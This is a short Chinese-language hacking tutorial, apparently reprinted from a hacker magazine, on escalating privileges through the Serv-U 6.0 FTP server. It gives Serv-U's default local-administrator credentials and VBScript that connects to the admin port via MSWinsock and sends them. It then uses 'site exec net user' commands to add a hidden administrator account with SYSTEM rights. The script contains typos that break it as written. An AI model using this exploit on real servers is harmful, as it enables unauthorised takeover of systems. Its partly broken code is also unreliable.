Serv-u6.0提權新招

Serv-u6.0提權新招

來自：黑防４月份期刊

適用環境：伺服器禁用FSO，關掉Wscript.shelll,沒有執行許可權。

限制：沒有變更管理員的密碼，或者破解出了Serv-U的管理員的密碼。Serv-U預設使用者名：localadministrator   密碼：#|@$ak#.|k;0@p      下面用MSWinsock。Winsock建立一個串連，並且以System許可權添加超級使用者，代碼如下：

Dim revdata

Dim sendata

Set sock=createobject(“MSWinsock.Winsock”)

Sock.protocol=0

Sock.connect “127.0.0.1”,43958

Sendata=”LocalAdministrator”& chr(10) &chr(13)

Sock.senddata snedata

Sendata=”#|@$ak#.|k;0@p” &chr(10) &chr(13)

Sock.senddata.sendata

 

使用這個代碼就可以連上FTP了，接下來用Sock.senddata sendata 發送添加有執行許可權使用者的命令，想必大家該知道怎麼做了吧，對了，就是用”site exec net user hacker hacker /add”     “site exec net localgroup administrators hacker /add”

呵呵，就這樣系統許可權到手了，祝大家好運！